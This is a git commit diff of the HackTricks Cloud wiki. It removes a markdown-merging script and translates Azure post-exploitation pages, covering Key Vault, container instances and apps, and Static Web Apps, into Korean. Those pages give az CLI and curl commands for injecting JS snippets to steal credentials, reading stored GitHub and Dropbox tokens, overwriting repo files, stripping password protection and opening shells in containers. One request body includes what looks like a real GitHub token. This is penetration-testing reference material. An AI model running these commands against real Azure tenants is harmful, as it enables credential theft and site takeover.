Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az

This commit is contained in:
Translator
2025-04-02 15:53:43 +00:00
parent 8e497fc6bb
commit b6bf88886b
5 changed files with 206 additions and 342 deletions

View File

@@ -1,145 +0,0 @@
import os
import re
import tempfile
def clean_and_merge_md_files(start_folder, exclude_keywords, output_file):
def clean_file_content(file_path):
"""Clean the content of a single file and return the cleaned lines."""
with open(file_path, "r", encoding="utf-8") as f:
content = f.readlines()
cleaned_lines = []
inside_hint = False
for i,line in enumerate(content):
# Skip lines containing excluded keywords
if any(keyword in line for keyword in exclude_keywords):
continue
# Detect and skip {% hint %} ... {% endhint %} blocks
if "{% hint style=\"success\" %}" in line and "Learn & practice" in content[i+1]:
inside_hint = True
if "{% endhint %}" in line:
inside_hint = False
continue
if inside_hint:
continue
# Skip lines with <figure> ... </figure>
if re.match(r"<figure>.*?</figure>", line):
continue
# Add the line if it passed all checks
cleaned_lines.append(line.rstrip())
# Remove excess consecutive empty lines
cleaned_lines = remove_consecutive_empty_lines(cleaned_lines)
return cleaned_lines
def remove_consecutive_empty_lines(lines):
"""Allow no more than one consecutive empty line."""
cleaned_lines = []
previous_line_empty = False
for line in lines:
if line.strip() == "":
if not previous_line_empty:
cleaned_lines.append("")
previous_line_empty = True
else:
cleaned_lines.append(line)
previous_line_empty = False
return cleaned_lines
def gather_files_in_order(start_folder):
"""Gather all .md files in a depth-first order."""
files = []
for root, _, filenames in os.walk(start_folder):
md_files = sorted([os.path.join(root, f) for f in filenames if f.endswith(".md")])
files.extend(md_files)
return files
# Gather files in depth-first order
all_files = gather_files_in_order(start_folder)
# Process files and merge into a single output
with open(output_file, "w", encoding="utf-8") as output:
for file_path in all_files:
# Clean the content of the file
cleaned_content = clean_file_content(file_path)
# Skip saving if the cleaned file has fewer than 10 non-empty lines
if len([line for line in cleaned_content if line.strip()]) < 10:
continue
# Get the name of the file for the header
file_name = os.path.basename(file_path)
# Write header, cleaned content, and 2 extra new lines
output.write(f"# {file_name}\n\n")
output.write("\n".join(cleaned_content))
output.write("\n\n")
def main():
# Specify the starting folder and output file
start_folder = os.getcwd()
output_file = os.path.join(tempfile.gettempdir(), "merged_output.md")
# Keywords to exclude from lines
exclude_keywords = [
"STM Cyber", # STM Cyber ads
"offer several valuable cybersecurity services", # STM Cyber ads
"and hack the unhackable", # STM Cyber ads
"blog.stmcyber.com", # STM Cyber ads
"RootedCON", # RootedCON ads
"rootedcon.com", # RootedCON ads
"the mission of promoting technical knowledge", # RootedCON ads
"Intigriti", # Intigriti ads
"intigriti.com", # Intigriti ads
"Trickest", # Trickest ads
"trickest.com", # Trickest ads,
"Get Access Today:",
"HACKENPROOF", # Hackenproof ads
"hackenproof.com", # Hackenproof ads
"HackenProof", # Hackenproof ads
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
"Hacking Insights:", # Hackenproof ads
"Engage with content that delves", # Hackenproof ads
"Real-Time Hack News:", # Hackenproof ads
"Keep up-to-date with fast-paced", # Hackenproof ads
"Latest Announcements:", # Hackenproof ads
"Stay informed with the newest bug", # Hackenproof ads
"start collaborating with top hackers today!", # Hackenproof ads
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
"Pentest-Tools", # Pentest-Tools.com ads
"pentest-tools.com", # Pentest-Tools.com ads
"perspective on your web apps, network, and", # Pentest-Tools.com ads
"report critical, exploitable vulnerabilities with real business impact", # Pentest-Tools.com ads
"SerpApi", # SerpApi ads
"serpapi.com", # SerpApi ads
"offers fast and easy real-time", # SerpApi ads
"plans includes access to over 50 different APIs for scraping", # SerpApi ads
"8kSec", # 8kSec ads
"academy.8ksec.io", # 8kSec ads
"Learn the technologies and skills required", # 8kSec ads
"WebSec", # WebSec ads
"websec.nl", # WebSec ads
"which means they do it all; Pentesting", # WebSec ads
]
# Clean and merge .md files
clean_and_merge_md_files(start_folder, exclude_keywords, output_file)
# Print the path to the output file
print(f"Merged content has been saved to: {output_file}")
if __name__ == "__main__":
# Execute this from the hacktricks folder to clean
# It will clean all the .md files and compile them into 1 in a proper order
main()

View File

@@ -76,7 +76,7 @@ az keyvault key delete --vault-name <vault name> --name <key name>
```
### **Microsoft.KeyVault/vaults/secrets/delete**
이 권한은 주체가 금고에서 비밀을 삭제할 수 있도록 허용합니다. 비밀은 "소프트 삭제" 상태로 이동며, 삭제되지 않는 한 복구할 수 있습니다.
이 권한은 주체가 금고에서 비밀을 삭제할 수 있도록 허용합니다. 비밀은 "소프트 삭제" 상태로 이동며, 삭제되지 않는 한 복구할 수 있습니다.
```bash
az keyvault secret delete --vault-name <vault name> --name <secret name>
```
@@ -85,5 +85,11 @@ az keyvault secret delete --vault-name <vault name> --name <secret name>
이 권한은 주체가 백업에서 비밀을 복원할 수 있도록 허용합니다.
```bash
az keyvault secret restore --vault-name <vault-name> --file <backup-file-path>
```
### Microsoft.KeyVault/vaults/keys/recover/action
Azure Key Vault에서 이전에 삭제된 키를 복구할 수 있습니다.
```bash
az keyvault secret recover --vault-name <vault-name> --name <secret-name>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -14,9 +14,9 @@
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
이 권한은 사용자가 **실행 중인 컨테이너**에서 **명령을 실행**할 수 있도록 허용합니다. 이는 컨테이너에 관리되는 ID가 연결되어 있는 경우 **권한 상승**에 사용될 수 있습니다. 물론, 컨테이너 내부에 저장된 소스 코드 및 기타 민감한 정보에 접근하는 것도 가능합니다.
이 권한은 사용자가 실행 중인 컨테이너에서 **명령을 실행**할 수 있합니다. 이는 컨테이너에 관리되는 ID가 연결되어 있는 경우 **권한 상승**에 사용될 수 있습니다. 물론, 컨테이너 내부에 저장된 소스 코드 및 기타 민감한 정보에 접근하는 것도 가능합니다.
쉘을 얻는 것은 다음과 같이 간단합니다:
쉘을 얻는 것은 간단합니다:
```bash
az container exec --name <container-name> --resource-group <res-group> --exec-command '/bin/sh'
```
@@ -61,13 +61,13 @@ az container create \
--cpu 1 \
--memory 1.0
```
또한, 기존 컨테이너 그룹을 업데이트하여 예를 들어 **`--command-line` 인수**를 추가하여 리버스 셸을 설정하는 것도 가능합니다.
또한, **`--command-line` 인수**를 추가하여 기존 컨테이너 그룹을 업데이트하는 것도 가능합니다. 예를 들어, 리버스 셸을 추가할 수 있습니다.
## ACA
### `Microsoft.App/containerApps/read`, `Microsoft.App/managedEnvironments/read`, `microsoft.app/containerapps/revisions/replicas`, `Microsoft.App/containerApps/revisions/read`, `Microsoft.App/containerApps/getAuthToken/action`
이 권한은 사용자가 실행 중인 애플리케이션 컨테이너에서 **셸을 얻을 수** 있게 해줍니다. 이는 컨테이너에 관리되는 ID가 연결되어 있는 경우 **권한을 상승**시키는 데 사용 수 있습니다. 물론, 컨테이너 내부에 저장된 소스 코드 및 기타 민감한 정보에 접근하는 것도 가능합니다.
이 권한은 사용자가 실행 중인 애플리케이션 컨테이너에서 **셸을 얻을 수** 있게 해줍니다. 이는 컨테이너에 연결된 관리 ID가 있는 경우 **권한을 상승**시키는 데 사용 수 있습니다. 물론, 컨테이너 내부에 저장된 소스 코드 및 기타 민감한 정보에 접근하는 것도 가능합니다.
```bash
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>
@@ -82,9 +82,9 @@ az containerapp secret show --name <app-name> --resource-group <res-group> --sec
```
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
이 권한은 **사용자 관리 ID**를 컨테이너 앱에 연결할 수 있게 해줍니다. 이는 컨테이너에서 권한을 상승시키는 데 매우 유용합니다. az cli에서 이 작업을 실행하려면 `Microsoft.App/containerApps/listSecrets/action` 권한도 필요합니다.
이 권한은 **사용자 관리 ID**를 컨테이너 앱에 연결할 수 있게 해줍니다. 이는 컨테이너에서 권한을 상승시키는 데 매우 유용합니다. az cli에서 이 작업을 실행하려면 `Microsoft.App/containerApps/listSecrets/action` 권한도 필요합니다.
사용자 관리 ID를 컨테이너 그룹에 연결하려면:
사용자 관리 ID를 컨테이너 그룹에 연결하려면:
```bash
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName
```
@@ -112,7 +112,7 @@ az containerapp create \
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/write`
작업은 컨테이너 앱처럼 장기 실행되지 않지만, 실행을 시작할 때 작업의 명령 구성을 재정의할 수 있는 능력을 악용할 수 있습니다. 기본 명령을 리버스 셸로 교체하는 등의 사용자 정 작업 템플릿을 작성함으로써, 작업을 실행하는 컨테이너 내에서 셸 접근을 얻을 수 있습니다.
작업은 컨테이너 앱처럼 장기 실행되지 않지만, 실행을 시작할 때 작업의 명령 구성을 재정의할 수 있는 능력을 악용할 수 있습니다. 기본 명령을 리버스 셸로 교체하는 등의 사용자 정 작업 템플릿을 작성함으로써, 작업을 실행하는 컨테이너 내에서 셸 접근을 얻을 수 있습니다.
```bash
# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml
@@ -141,7 +141,7 @@ az containerapp job secret show --name <job-name> --resource-group <res-group> -
```
### `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/jobs/write`
작업 구성 수정할 수 있는 권한이 있는 경우, 사용자 할당 관리 ID를 연결할 수 있습니다. 이 ID는 추가 권한(예: 다른 리소스나 비밀에 대한 접근)을 가질 수 있으며, 이를 악용하여 컨테이너 내에서 권한을 상승시킬 수 있습니다.
작업 구성 수정 권한이 있는 경우, 사용자 할당 관리 ID를 연결할 수 있습니다. 이 ID는 추가 권한(예: 다른 리소스나 비밀에 대한 접근)을 가질 수 있으며, 이를 악용하여 컨테이너 내에서 권한을 상승시킬 수 있습니다.
```bash
az containerapp job update \
--name <job-name> \
@@ -150,7 +150,7 @@ az containerapp job update \
```
### `Microsoft.App/managedEnvironments/read`, `Microsoft.App/jobs/write`, `Microsoft.App/managedEnvironments/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
새로운 Container Apps Job을 생성(또는 기존의 것을 업데이트)하고 관리되는 ID를 연결할 수 있다면, 권한 상승을 위한 페이로드를 실행하도록 작업을 설계할 수 있습니다. 예를 들어, 리버스 셸을 실행할 뿐만 아니라 관리되는 ID의 자격 증명을 사용하여 토큰을 요청하거나 다른 리소스에 접근하는 새로운 작업을 생성할 수 있습니다.
새로운 Container Apps Job을 생성(또는 기존의 것을 업데이트)하고 관리 ID를 연결할 수 있다면, 권한 상승을 위한 페이로드를 실행하도록 작업을 설계할 수 있습니다. 예를 들어, 리버스 셸을 실행할 뿐만 아니라 관리 ID의 자격 증명을 사용하여 토큰을 요청하거나 다른 리소스에 접근하는 새로운 작업을 생성할 수 있습니다.
```bash
az containerapp job create \
--name <new-job-name> \
@@ -169,9 +169,14 @@ az containerapp job create \
### `microsoft.app/jobs/start/action`, `microsoft.app/jobs/read`
이 권한으로 작업을 시작할 수 있어야 할 것 같습니다. 이를 통해 작업의 구성 변경 없이 리버스 셸 또는 기타 악성 명령으로 작업을 시작 수 있습니다.
이 권한으로 작업을 시작할 수 있어야 할 것 같습니다. 이 작업의 구성을 수정할 필요 없이 리버스 셸 또는 기타 악성 명령으로 작업을 시작하는 데 사용될 수 있습니다.
작동하게 만들지는 못했지만 허용된 매개변수에 따르면 가능해야 합니다.
### Microsoft.ContainerInstance/containerGroups/restart/action
Azure Container Instances 내에서 특정 컨테이너 그룹을 재시작할 수 있습니다.
```bash
az container restart --resource-group <resource-group> --name <container-instances>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Azure Static Web Apps
For more information about this service check:
이 서비스에 대한 자세한 정보는 다음을 확인하세요:
{{#ref}}
../az-services/az-static-web-apps.md
@@ -12,164 +12,153 @@ For more information about this service check:
### Microsoft.Web/staticSites/snippets/write
It's possible to make a static web page load arbitary HTML code by creating a snippet. This could allow an attacker to inject JS code inside the web app and steal sensitive information such as credentials or mnemonic keys (in web3 wallets).
The fllowing command create an snippet that will always be loaded by the web app::
정적 웹 페이지가 임의의 HTML 코드를 로드하도록 스니펫을 생성할 수 있습니다. 이를 통해 공격자는 웹 앱 내부에 JS 코드를 주입하고 자격 증명이나 암호화 키(웹3 지갑에서)와 같은 민감한 정보를 탈취할 수 있습니다.
다음 명령은 웹 앱에 항상 로드될 스니펫을 생성합니다::
```bash
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
```
### 구성된 제3자 자격 증명 읽기
### Read Configured Third Party Credentials
As explained in the App Service section:
App Service 섹션에서 설명한 바와 같이:
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
Running the following command it's possible to **read the third party credentials** configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one.
다음 명령을 실행하면 현재 계정에 구성된 **제3자 자격 증명**을 읽을 수 있습니다. 예를 들어, 다른 사용자에 구성된 Github 자격 증명이 있는 경우, 다른 사용자로부터 토큰에 접근할 수 없습니다.
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
이 명령은 Github, Bitbucket, Dropbox 및 OneDrive에 대한 토큰을 반환합니다.
This command returns tokens for Github, Bitbucket, Dropbox and OneDrive.
Here you have some command examples to check the tokens:
여기 토큰을 확인하기 위한 몇 가지 명령 예제가 있습니다:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### 파일 덮어쓰기 - 경로, HTML, JS 덮어쓰기...
### Overwrite file - Overwrite routes, HTML, JS...
Azure를 통해 **Github repo** 내의 파일을 덮어쓸 수 있으며, 이는 **Github token**을 사용하여 다음과 같은 요청을 보내 파일의 경로, 파일 내용 및 커밋 메시지를 지정할 수 있습니다.
It's possible to **overwrite a file inside the Github repo** containing the app through Azure having the **Github token** sending a request such as the following which will indicate the path of the file to overwrite, the content of the file and the commit message.
This can be abused by attackers to basically **change the content of the web app** to serve malicious content (steal credentials, mnemonic keys...) or just to **re-route certain paths** to their own servers by overwriting the `staticwebapp.config.json` file.
공격자는 이를 악용하여 기본적으로 **웹 앱의 내용을 변경**하여 악성 콘텐츠를 제공하거나(자격 증명, 니모닉 키 도용 등) `staticwebapp.config.json` 파일을 덮어써서 특정 경로를 자신의 서버로 **재배치**할 수 있습니다.
> [!WARNING]
> Note that if an attacker manages to compromise the Github repo in any way, they can also overwrite the file directly from Github.
> 공격자가 어떤 방식으로든 Github repo를 손상시키면, Github에서 직접 파일을 덮어쓸 수 있다는 점에 유의하십시오.
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
```
### Microsoft.Web/staticSites/config/write
### Microsoft.Web/staticSites/config/write
With this permission, it's possible to **modify the password** protecting a static web app or even unprotect every environment by sending a request such as the following:
이 권한을 사용하면 **정적 웹 앱을 보호하는 비밀번호를 수정**하거나 다음과 같은 요청을 보내 모든 환경의 보호를 해제할 수 있습니다:
```bash
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
```
### Microsoft.Web/staticSites/listSecrets/action
This permission allows to get the **API key deployment token** for the static app:
이 권한은 정적 앱에 대한 **API 키 배포 토큰**을 가져올 수 있게 해줍니다:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```
그런 다음 **토큰을 사용하여 앱을 업데이트**하려면 다음 명령을 실행할 수 있습니다. 이 명령은 **Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) 작동 방식**을 확인하여 추출된 것으로, Azure에서 기본적으로 사용하도록 설정한 것입니다. 따라서 이미지와 매개변수는 미래에 변경될 수 있습니다.
Then, in order to **update an app using the token** you could run the following command. Note that this command was extracted checking **how to Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) works**, as it's the one Azure set by default ot use. So the image and paarements could change in the future.
1. Download the repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (or any other repo you want to deploy) and run `cd react-basic`.
2. Change the code you want to deploy
3. Deploy it running (Remember to change the `<api-token>`):
> [!TIP]
> 앱을 배포하려면 [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token)에서 **`swa`** 도구를 사용하거나 다음의 원시 단계를 따르세요:
1. 리포지토리 [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (또는 배포하려는 다른 리포지토리)를 다운로드하고 `cd react-basic`을 실행합니다.
2. 배포하려는 코드를 변경합니다.
3. (변경할 `<api-token>`을 기억하세요) 실행하여 배포합니다:
```bash
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
>[!WARNING]
> Even if you have the token you won't be able to deploy the app if the **Deployment Authorization Policy** is set to **Github**. For using the token you will need the permission `Microsoft.Web/staticSites/write` to change the deployment method to use th APi token.
> [!WARNING]
> 토큰이 있더라도 **Deployment Authorization Policy**가 **Github**로 설정되어 있으면 앱을 배포할 수 없습니다. 토큰을 사용하려면 배포 방법을 API 토큰을 사용하도록 변경할 수 있는 권한 `Microsoft.Web/staticSites/write`가 필요합니다.
### Microsoft.Web/staticSites/write
With this permission it's possible to **change the source of the static web app to a different Github repository**, however, it won't be automatically provisioned as this must be done from a Github Action.
이 권한을 사용하면 **정적 웹 앱의 소스를 다른 Github 리포지토리로 변경**할 수 있지만, 이는 Github Action에서 수행해야 하므로 자동으로 프로비저닝되지 않습니다.
However, if the **Deployment Authotization Policy** is set to **Github**, it's possible to **update the app from the new source repository!**.
In case the **Deployment Authorization Policy** is not set to Github, you can change it with the same permission `Microsoft.Web/staticSites/write`.
그러나 **Deployment Authorization Policy**가 **Github**로 설정되어 있으면 **새 소스 리포지토리에서 앱을 업데이트할 수 있습니다!**.
**Deployment Authorization Policy**가 Github로 설정되어 있지 않은 경우, 동일한 권한 `Microsoft.Web/staticSites/write`로 변경할 수 있습니다.
```bash
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
@@ -179,117 +168,110 @@ az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'
```
Example Github Action to deploy the app:
앱을 배포하기 위한 예제 Github Action:
```yaml
name: Azure Static Web Apps CI/CD
on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main
jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######
close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"
close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"
```
### Microsoft.Web/staticSites/resetapikey/action
With this permision it's possible to **reset the API key of the static web app** potentially DoSing the workflows that automatically deploy the app.
이 권한을 사용하면 **정적 웹 앱의 API 키를 재설정**하여 앱을 자동으로 배포하는 워크플로우를 잠재적으로 DoS할 수 있습니다.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```
### Microsoft.Web/staticSites/createUserInvitation/action
This permission allows to **create an invitation to a user** to access protected paths inside a static web app ith a specific given role.
The login is located in a path such as `/.auth/login/github` for github or `/.auth/login/aad` for Entra ID and a user can be invited with the following command:
이 권한은 **특정 역할을 가진 사용자가 정적 웹 앱 내의 보호된 경로에 접근할 수 있도록 초대장을 생성**할 수 있게 해줍니다.
로그인은 `/.auth/login/github` (github의 경우) 또는 `/.auth/login/aad` (Entra ID의 경우)와 같은 경로에 위치하며, 사용자는 다음 명령어로 초대될 수 있습니다:
```bash
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
